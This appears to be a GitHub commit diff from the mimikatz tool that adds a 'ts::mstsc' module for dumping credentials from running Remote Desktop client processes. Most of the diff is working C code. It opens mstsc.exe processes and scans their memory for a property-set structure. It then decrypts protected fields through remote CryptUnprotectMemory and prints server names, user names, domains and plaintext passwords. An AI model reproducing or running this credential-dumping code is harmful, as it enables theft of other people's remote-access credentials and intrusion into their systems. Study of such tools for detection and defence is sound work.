mirror of
https://github.com/gentilkiwi/mimikatz
synced 2025-01-11 15:49:29 +00:00
[new] mimikatz ts::mstsc to try to dump client credentials
This commit is contained in:
parent
c509fd4a8c
commit
835757ef1c
@ -10,7 +10,7 @@ const KUHL_M_C kuhl_m_c_ts[] = {
|
||||
{kuhl_m_ts_sessions, L"sessions", NULL},
|
||||
{kuhl_m_ts_remote, L"remote", NULL},
|
||||
{kuhl_m_ts_logonpasswords, L"logonpasswords", L"[experimental] try to get passwords from running sessions"},
|
||||
// {kuhl_m_ts_logonpasswords2, L"logonpasswords2", L"[experimental] try to get passwords from running sessions"},
|
||||
{kuhl_m_ts_mstsc, L"mstsc", L"[experimental] try to get passwords from mstsc process"},
|
||||
};
|
||||
const KUHL_M kuhl_m_ts = {
|
||||
L"ts", L"Terminal Server module", NULL,
|
||||
@ -188,8 +188,7 @@ NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
|
||||
{
|
||||
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
|
||||
{
|
||||
kprintf(L"!!! Warning, false positive can be listed !!!\n");
|
||||
|
||||
kprintf(L"!!! Warning: false positives can be listed !!!\n");
|
||||
kull_m_process_getMemoryInformations(hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, hMemory);
|
||||
kull_m_memory_close(hMemory);
|
||||
}
|
||||
@ -260,3 +259,205 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_ts_mstsc(int argc, wchar_t * argv[])
|
||||
{
|
||||
KUHL_M_TS_MSTSC_ARG myArgs;
|
||||
|
||||
myArgs.bIsVerbose = kull_m_string_args_byName(argc, argv, L"verbose", NULL, NULL);
|
||||
kprintf(L"!!! Warning: false positives can be listed !!!\n");
|
||||
kull_m_process_getProcessInformation(kuhl_m_ts_mstsc_enumProcess, &myArgs);
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
DECLARE_CONST_UNICODE_STRING(uMstscExe, L"mstsc.exe");
|
||||
BOOL CALLBACK kuhl_m_ts_mstsc_enumProcess(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
DWORD dwPid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
|
||||
PKUHL_M_TS_MSTSC_ARG pmyArgs;
|
||||
|
||||
if(RtlEqualUnicodeString(&pSystemProcessInformation->ImageName, &uMstscExe, TRUE))
|
||||
{
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, dwPid);
|
||||
if(hProcess)
|
||||
{
|
||||
pmyArgs = (PKUHL_M_TS_MSTSC_ARG) pvArg;
|
||||
|
||||
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &pmyArgs->hMemory))
|
||||
{
|
||||
kprintf(L"\n| PID %u\n", dwPid);
|
||||
kull_m_process_getMemoryInformations(pmyArgs->hMemory, kuhl_m_ts_mstsc_MemoryAnalysis, pvArg);
|
||||
kull_m_memory_close(pmyArgs->hMemory);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL CALLBACK kuhl_m_ts_mstsc_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
|
||||
{
|
||||
PKUHL_M_TS_MSTSC_ARG pmyArgs = (PKUHL_M_TS_MSTSC_ARG) pvArg;
|
||||
KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {pMemoryBasicInformation->BaseAddress, pmyArgs->hMemory};
|
||||
PBYTE CurrentPtr, limite;
|
||||
BOOL decStatus = TRUE;
|
||||
PTS_PROPERTIES_KIWI pProperties;
|
||||
|
||||
if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
|
||||
{
|
||||
aLocalBuffer.address = LocalAlloc(LPTR, pMemoryBasicInformation->RegionSize);
|
||||
if(aLocalBuffer.address)
|
||||
{
|
||||
if(kull_m_memory_copy(&aLocalBuffer, &aProcess, pMemoryBasicInformation->RegionSize))
|
||||
{
|
||||
for(CurrentPtr = (PBYTE) aLocalBuffer.address, limite = (PBYTE) aLocalBuffer.address + pMemoryBasicInformation->RegionSize; CurrentPtr + sizeof(ULONGLONG) <= limite; CurrentPtr++)
|
||||
{
|
||||
if(*((PULONGLONG) CurrentPtr) == 0x3dbcaabcd)
|
||||
{
|
||||
pProperties = (PTS_PROPERTIES_KIWI) (CurrentPtr - FIELD_OFFSET(TS_PROPERTIES_KIWI, unkh0));
|
||||
|
||||
if((pProperties->unkd1 >= 10) && (pProperties->unkd1 < 500))
|
||||
{
|
||||
if((pProperties->cbProperties >= 10) && (pProperties->cbProperties < 500))
|
||||
{
|
||||
if(pProperties->pProperties)
|
||||
{
|
||||
if(pmyArgs->bIsVerbose)
|
||||
{
|
||||
kprintf(L"| %p - %p - 0x%08x - %u - %p - %u - %p - %p - %u\n", pProperties->unkp0, pProperties->unkp1, pProperties->unkh0, pProperties->unkd0, pProperties->unkp2, pProperties->unkd1, pProperties->unkp3, pProperties->pProperties, pProperties->cbProperties);
|
||||
}
|
||||
kuhl_m_ts_mstsc_MemoryAnalysis_property(aProcess.hMemory, pProperties->pProperties, pProperties->cbProperties, pmyArgs->bIsVerbose);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
LocalFree(aLocalBuffer.address);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void kuhl_m_ts_mstsc_MemoryAnalysis_property(PKULL_M_MEMORY_HANDLE hMemory, PVOID pvProperties, DWORD cbProperties, BOOL bIsVerbose)
|
||||
{
|
||||
KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {pvProperties, hMemory}, aDataBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
|
||||
PTS_PROPERTY_KIWI pProperties;
|
||||
BOOL bToDisplay;
|
||||
DWORD i;
|
||||
PSTR szPropertyName;
|
||||
PWSTR szPropertyValue;
|
||||
|
||||
aLocalBuffer.address = LocalAlloc(LPTR, cbProperties * sizeof(TS_PROPERTY_KIWI));
|
||||
if(aLocalBuffer.address)
|
||||
{
|
||||
if(kull_m_memory_copy(&aLocalBuffer, &aProcess, cbProperties * sizeof(TS_PROPERTY_KIWI)))
|
||||
{
|
||||
pProperties = (PTS_PROPERTY_KIWI) aLocalBuffer.address;
|
||||
|
||||
for(i = 0; i < cbProperties; i++)
|
||||
{
|
||||
if(pProperties[i].szProperty && (pProperties[i].dwType > 0) && (pProperties[i].dwType < 20))
|
||||
{
|
||||
aProcess.address = (LPVOID) pProperties[i].szProperty;
|
||||
szPropertyName = kull_m_process_getImportNameWithoutEnd(&aProcess);
|
||||
if(szPropertyName)
|
||||
{
|
||||
if( bIsVerbose ||
|
||||
!_strcmpi("ServerName", szPropertyName) ||
|
||||
!_strcmpi("ServerFqdn", szPropertyName) ||
|
||||
!_strcmpi("ServerNameUsedForAuthentication", szPropertyName) ||
|
||||
!_strcmpi("UserSpecifiedServerName", szPropertyName) ||
|
||||
!_strcmpi("UserName", szPropertyName) ||
|
||||
!_strcmpi("Domain", szPropertyName) ||
|
||||
!_strcmpi("Password", szPropertyName) ||
|
||||
!_strcmpi("SmartCardReaderName", szPropertyName) ||
|
||||
!_strcmpi("RDmiUsername", szPropertyName) ||
|
||||
!_strcmpi("PasswordContainsSCardPin", szPropertyName)
|
||||
)
|
||||
{
|
||||
bToDisplay = TRUE;
|
||||
}
|
||||
else bToDisplay = FALSE;
|
||||
|
||||
if(bToDisplay)
|
||||
{
|
||||
kprintf(L"%-40S ", szPropertyName);
|
||||
|
||||
switch(pProperties[i].dwType)
|
||||
{
|
||||
case 1:
|
||||
kprintf(L"[ dword ] %u (0x%08x)", (DWORD) pProperties[i].pvData, (DWORD) pProperties[i].pvData);
|
||||
break;
|
||||
|
||||
case 2:
|
||||
kprintf(L"[ word? ] %u (0x%04x)", (WORD) pProperties[i].pvData, (WORD) pProperties[i].pvData);
|
||||
break;
|
||||
|
||||
case 3:
|
||||
kprintf(L"[ bool ] %s", ((BOOL) pProperties[i].pvData) ? L"TRUE" : L"FALSE");
|
||||
break;
|
||||
|
||||
case 4:
|
||||
kprintf(L"[wstring] ");
|
||||
aProcess.address = pProperties[i].pvData;
|
||||
szPropertyValue = kull_m_process_get_wstring_without_end(&aProcess, 1024);
|
||||
if(szPropertyValue)
|
||||
{
|
||||
kprintf(L"\'%s\'", szPropertyValue);
|
||||
LocalFree(szPropertyValue);
|
||||
}
|
||||
break;
|
||||
|
||||
case 6:
|
||||
kprintf(L"[protect] ");
|
||||
if(pProperties[i].pvData && (DWORD) pProperties[i].unkp2)
|
||||
{
|
||||
aDataBuffer.address = (PBYTE) LocalAlloc(LPTR, (DWORD) pProperties[i].unkp2);
|
||||
|
||||
if(aDataBuffer.address)
|
||||
{
|
||||
aProcess.address = pProperties[i].pvData;
|
||||
if(kull_m_memory_copy(&aDataBuffer, &aProcess, (DWORD) pProperties[i].unkp2))
|
||||
{
|
||||
if(pProperties[i].dwFlags & 0x800)
|
||||
{
|
||||
if(kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, aDataBuffer.address, (DWORD) pProperties[i].unkp2, CRYPTPROTECTMEMORY_SAME_PROCESS))
|
||||
{
|
||||
kprintf(L"\'%.*s\'", *(PDWORD) aDataBuffer.address / sizeof(wchar_t), ((PBYTE) aDataBuffer.address) + sizeof(DWORD));
|
||||
}
|
||||
else PRINT_ERROR(L"CryptUnprotectMemory");
|
||||
}
|
||||
else
|
||||
{
|
||||
kull_m_string_wprintf_hex(aDataBuffer.address, (DWORD) pProperties[i].unkp2, 0);
|
||||
}
|
||||
}
|
||||
LocalFree(aDataBuffer.address);
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 7: // ip, blob ?
|
||||
default:
|
||||
kprintf(L"[unk - %u] 0x%p", pProperties[i].dwType, pProperties[i].pvData);
|
||||
break;
|
||||
}
|
||||
|
||||
//kprintf(L" (0x%08x)\n", pProperties[i].dwFlags);
|
||||
kprintf(L"\n");
|
||||
}
|
||||
|
||||
LocalFree(szPropertyName);
|
||||
}
|
||||
else break;
|
||||
}
|
||||
else break;
|
||||
}
|
||||
}
|
||||
LocalFree(aLocalBuffer.address);
|
||||
}
|
||||
}
|
@ -17,10 +17,20 @@ NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_ts_sessions(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_ts_mstsc(int argc, wchar_t * argv[]);
|
||||
|
||||
typedef struct _KUHL_M_TS_MSTSC_ARG {
|
||||
PKULL_M_MEMORY_HANDLE hMemory;
|
||||
BOOL bIsVerbose;
|
||||
} KUHL_M_TS_MSTSC_ARG, *PKUHL_M_TS_MSTSC_ARG;
|
||||
|
||||
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg);
|
||||
void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr);
|
||||
|
||||
BOOL CALLBACK kuhl_m_ts_mstsc_enumProcess(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
|
||||
BOOL CALLBACK kuhl_m_ts_mstsc_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg);
|
||||
void kuhl_m_ts_mstsc_MemoryAnalysis_property(PKULL_M_MEMORY_HANDLE hMemory, PVOID pvProperties, DWORD cbProperties, BOOL bIsVerbose);
|
||||
|
||||
#define LOGONID_CURRENT ((ULONG) -1)
|
||||
#define SERVERHANDLE_CURRENT ((HANDLE) NULL)
|
||||
#define MAX_THINWIRECACHE 4
|
||||
@ -217,3 +227,29 @@ typedef struct _WTS_KIWI {
|
||||
WCHAR Password[WTS_PASSWORD_LENGTH + 1];
|
||||
} WTS_KIWI, *PWTS_KIWI;
|
||||
#pragma pack(pop)
|
||||
|
||||
typedef struct _TS_PROPERTY_KIWI {
|
||||
PCWSTR szProperty;
|
||||
DWORD dwType;
|
||||
PVOID pvData;
|
||||
PVOID unkp0;
|
||||
DWORD unkd0;
|
||||
DWORD dwFlags;
|
||||
DWORD unkd1;
|
||||
DWORD unkd2;
|
||||
PVOID pValidator;
|
||||
PVOID unkp2; // password size or ?, maybe a DWORD then align
|
||||
PVOID unkp3;
|
||||
} TS_PROPERTY_KIWI, *PTS_PROPERTY_KIWI;
|
||||
|
||||
typedef struct _TS_PROPERTIES_KIWI {
|
||||
PVOID unkp0; // const CTSPropertySet::`vftable'{for `CTSObject'}
|
||||
PVOID unkp1; // "CTSPropertySet"
|
||||
DWORD unkh0; // 0xdbcaabcd
|
||||
DWORD unkd0; // 3
|
||||
PVOID unkp2;
|
||||
DWORD unkd1; // 45
|
||||
PVOID unkp3; // tagPROPERTY_ENTRY near * `CTSCoreApi::internalGetPropMap_CoreProps(void)'::`2'::_PropSet
|
||||
PTS_PROPERTY_KIWI pProperties;
|
||||
DWORD cbProperties; // 198
|
||||
} TS_PROPERTIES_KIWI, *PTS_PROPERTIES_KIWI;
|
@ -1413,7 +1413,7 @@ VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential)
|
||||
break;
|
||||
case BinaryBlobCredential:
|
||||
kprintf(L"[BinaryBlob] ");
|
||||
kull_m_string_wprintf_hex(((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->pbBlob, ((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->cbBlob, 1);
|
||||
kull_m_string_wprintf_hex(((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->pbBlob, ((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->cbBlob, 1); // Check if not ptr to ptr
|
||||
break;
|
||||
case UsernameForPackedCredentials:
|
||||
kprintf(L"[UsernameForPacked] ?");
|
||||
|
@ -7,6 +7,8 @@
|
||||
#include <ntstatus.h>
|
||||
#define WIN32_NO_STATUS
|
||||
#define SECURITY_WIN32
|
||||
#define CINTERFACE
|
||||
#define COBJMACROS
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include <sspi.h>
|
||||
|
@ -136,7 +136,7 @@ BOOL kull_m_busylight_devices_get(PBUSYLIGHT_DEVICE *devices, DWORD *count, DWOR
|
||||
}
|
||||
CloseHandle(deviceHandle);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CreateFile (deviceHandle)");
|
||||
//else PRINT_ERROR_AUTO(L"CreateFile (deviceHandle)");
|
||||
}
|
||||
LocalFree(DeviceInterfaceDetailData);
|
||||
}
|
||||
|
@ -703,3 +703,20 @@ BOOL kull_m_process_getSid(IN PSID * pSid, IN PKULL_M_MEMORY_HANDLE source)
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
PWSTR kull_m_process_get_wstring_without_end(PKULL_M_MEMORY_ADDRESS base, DWORD cbMaxChar)
|
||||
{
|
||||
wchar_t sEnd = L'\0';
|
||||
SIZE_T size;
|
||||
KULL_M_MEMORY_ADDRESS aStringBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aNullBuffer = {&sEnd, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
|
||||
KULL_M_MEMORY_SEARCH sMemory = {{{base->address, base->hMemory}, cbMaxChar * sizeof(wchar_t)}, NULL};
|
||||
|
||||
if(kull_m_memory_search(&aNullBuffer, sizeof(sEnd), &sMemory, FALSE))
|
||||
{
|
||||
size = (PBYTE) sMemory.result - (PBYTE) base->address + sizeof(wchar_t);
|
||||
if(aStringBuffer.address = LocalAlloc(LPTR, size))
|
||||
if(!kull_m_memory_copy(&aStringBuffer, base, size))
|
||||
aStringBuffer.address = LocalFree(aStringBuffer.address);
|
||||
}
|
||||
return (PWSTR) aStringBuffer.address;
|
||||
}
|
@ -469,3 +469,4 @@ BOOL kull_m_process_create(KULL_M_PROCESS_CREATE_TYPE type, PCWSTR commandLine,
|
||||
|
||||
BOOL kull_m_process_getUnicodeString(IN PUNICODE_STRING string, IN PKULL_M_MEMORY_HANDLE source);
|
||||
BOOL kull_m_process_getSid(IN PSID * pSid, IN PKULL_M_MEMORY_HANDLE source);
|
||||
PWSTR kull_m_process_get_wstring_without_end(PKULL_M_MEMORY_ADDRESS base, DWORD cbMaxChar);
|
Loading…
Reference in New Issue
Block a user